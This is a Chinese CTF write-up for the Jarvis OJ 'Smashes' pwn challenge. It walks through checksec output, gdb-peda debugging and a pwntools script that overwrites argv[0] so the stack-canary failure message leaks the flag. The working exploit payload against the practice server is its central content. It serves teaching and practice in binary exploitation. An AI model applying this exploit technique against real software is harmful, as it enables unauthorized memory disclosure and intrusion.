Smashes Jarvis OJ

nc pwn.jarvisoj.com 9877
检查开启的保护

liu@ubuntu:~/Desktop$ checksec 2
[*] '/home/liu/Desktop/2'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found #栈保护
    NX:       NX enabled #栈数据只读
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

这里开启了栈中数据不可执行和栈保护。
所谓栈保护是在ebp入栈后再把一个值放入到栈里面(不一低和ebp相邻)。我们把它称为canary,如果我们覆盖返回地址就必须把canary的值覆盖掉,函数返回时会判断canary的值是否改变,如果改变会调用_stack_chk_fail 打印argv[0]。

如果我们把argv[0]的值覆盖为要打印的flag不就成功了。我们需要什么呢?

  1. 程序运行时argv[0]的地址(argv[0]存放的是程序的名字,有些事程序路径和名字)
  2. 程序读入我们输入的字符串存放的地址。
  3. 要输出的字符串的地址

下面就找一下地址构造payload了

gdb-peda$ b *0x4006d0
Breakpoint 1 at 0x4006d0
gdb-peda$ run
Starting program: /home/liu/Desktop/2 

[----------------------------------registers-----------------------------------]
RAX: 0x4006d0 (sub    rsp,0x8)
RBX: 0x0 
RCX: 0x0 
RDX: 0x7fffffffdfb8 --> 0x7fffffffe329 ("XDG_VTNR=7")
RSI: 0x7fffffffdfa8 --> 0x7fffffffe315 ("/home/liu/Desktop/2")
RDI: 0x1 
RBP: 0x4008b0 (push   r15)
RSP: 0x7fffffffdec8 --> 0x7ffff7a2d830 (<__libc_start_main+240>:    mov    edi,eax)
RIP: 0x4006d0 (sub    rsp,0x8)
R8 : 0x400920 (repz ret)
R9 : 0x7ffff7de7ab0 (<_dl_fini>:    push   rbp)
R10: 0x846 
R11: 0x7ffff7a2d740 (<__libc_start_main>:   push   r14)
R12: 0x4006ee (xor    ebp,ebp)
R13: 0x7fffffffdfa0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4006c0 <_IO_gets@plt>: 
    jmp    QWORD PTR [rip+0x20062a]        # 0x600cf0 <[email protected]>
   0x4006c6 <_IO_gets@plt+6>:   push   0x9
   0x4006cb <_IO_gets@plt+11>:  jmp    0x400620
=> 0x4006d0:    sub    rsp,0x8
   0x4006d4:    mov    rdi,QWORD PTR [rip+0x200665]        # 0x600d40 <stdout>
   0x4006db:    xor    esi,esi
   0x4006dd:    call   0x400660 <setbuf@plt>
   0x4006e2:    call   0x4007e0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdec8 --> 0x7ffff7a2d830 (<__libc_start_main+240>:   mov    edi,eax)
0008| 0x7fffffffded0 --> 0x0 
0016| 0x7fffffffded8 --> 0x7fffffffdfa8 --> 0x7fffffffe315 ("/home/liu/Desktop/2")
0024| 0x7fffffffdee0 --> 0x1f7ffcca0 
0032| 0x7fffffffdee8 --> 0x4006d0 (sub    rsp,0x8)
0040| 0x7fffffffdef0 --> 0x0 
0048| 0x7fffffffdef8 --> 0x7c720f485bcd93ce 
0056| 0x7fffffffdf00 --> 0x4006ee (xor    ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00000000004006d0 in ?? ()

当然也可以find一下。

gdb-peda$ find /home/liu/Desktop
Searching for '/home/liu/Desktop' in: None ranges
Found 3 results, display max 3 items:
[stack] : 0x7fffffffe315 ("/home/liu/Desktop/2")
[stack] : 0x7fffffffec64 ("/home/liu/Desktop")
[stack] : 0x7fffffffefe4 ("/home/liu/Desktop/2")

0x7fffffffe315这个地址不会错了。
下面就是找我们输入的字符串的首地址了

text:0000000000400804                 xor     eax, eax
.text:0000000000400806                 call    ___printf_chk
.text:000000000040080B                 mov     rdi, rsp
.text:000000000040080E                 call    __IO_gets
.text:0000000000400813                 test    rax, rax

断点下到0x0000000000400813 就可以啦

gdb-peda$ b *0x400813
Breakpoint 2 at 0x400813
gdb-peda$ c
Continuing.
Hello!
What's your name? 12345678

[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdd90 ("12345678")
RBX: 0x0 
RCX: 0x7ffff7dd18e0 --> 0xfbad2288 
RDX: 0x7ffff7dd3790 --> 0x0 
RSI: 0x601018 --> 0xa ('\n')
RDI: 0x7fffffffdd98 --> 0x0 
RBP: 0x4008b0 (push   r15)
RSP: 0x7fffffffdd90 ("12345678")
RIP: 0x400813 (test   rax,rax)
R8 : 0x601019 --> 0x0 
R9 : 0x0 

0x7fffffffdd90这就是输入的值在栈中的存放位置了

要找的字符串在IDA里面找一下

data:0000000000600D20 byte_600D20     db 'P'                  ; DATA XREF: sub_4007E0+6E↑w
.data:0000000000600D21 aCtfHereSTheFla db 'CTF{Here',27h,'s the flag on server}',0

不过这里的flag字符串是被覆盖掉了

      goto LABEL_9;
    if ( v1 == 10 )
      break;
    byte_600D20[v0++] = v1;
    if ( v0 == 32 )
      goto LABEL_8;
  }

不过在覆盖掉之前会把它映射到其他地方的我们可以find一下

gdb-peda$ find PCTF
Searching for 'PCTF' in: None ranges
Found 2 results, display max 2 items:
2 : 0x400d20 ("PCTF{Here's the flag on server}")
2 : 0x600d20 ("PCTF{Here's the flag on server}")

0x400d20这里就是了

(0x7fffffffe315-0x7fffffffdd90)/8=176

from pwn import *
from time import *

p = remote('pwn.jarvisoj.com',9877)
p.recvuntil("name?")
payload = p64(0x400D20)*176
p.sendline(payload)
p.recvuntil('flag:')
p.sendline("1")
p.interactive()

更详细解题推荐https://ctf-wiki.github.io/ctf-wiki/pwn/stackoverflow/others/
总结:解这个题学到了栈保护机制,也找了一下Linux下动态加载库文件的技术。http://www.cnblogs.com/xingyun/archive/2011/12/10/2283149.html
还有就是_IO_gets()函数也是不安全的。

猜你喜欢

转载自blog.csdn.net/qq_38204481/article/details/79835083